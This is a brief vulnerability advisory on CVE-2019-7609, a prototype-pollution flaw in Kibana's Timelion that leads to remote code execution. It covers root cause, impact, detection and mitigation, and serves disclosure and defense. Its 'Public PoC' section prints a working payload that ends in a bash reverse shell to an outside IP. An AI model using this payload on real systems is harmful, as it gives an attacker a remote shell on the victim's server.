Kibana Timelion Prototype Pollution RCE

Product: Elastic Kibana
CVE: CVE-2019-7609
Disclosed: 2019-03-25
CVSS: 10
Auth: requires auth / interaction
CISA KEV: yes
Affected: Kibana < 5.6.15 and 6.x < 6.6.1
Fixed: 5.6.15, 6.6.1

Summary

Michal Bentkowski (Securitum) found that Kibana's Timelion expression language allowed JavaScript prototype pollution. Polluting environment variables for child processes turned it into command execution on the Kibana server.

Root cause

Timelion's .props() function set arbitrary nested properties, including label.__proto__, polluting Object.prototype. By injecting env.NODE_OPTIONS='--require /proc/self/environ' plus a JavaScript payload in another env var, the next Node.js child process Kibana spawned (e.g. when opening Canvas) executed the attacker's code.

Impact

Remote code execution as the Kibana user for anyone with access to Timelion.

Public PoC

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Source: mpgn/CVE-2019-7609 (payload by @securityMB)

Detection

Search Kibana logs/requests for Timelion expressions containing '__proto__' or NODE_OPTIONS; version check.

Mitigation

Upgrade to 5.6.15/6.6.1 or later, or disable Timelion.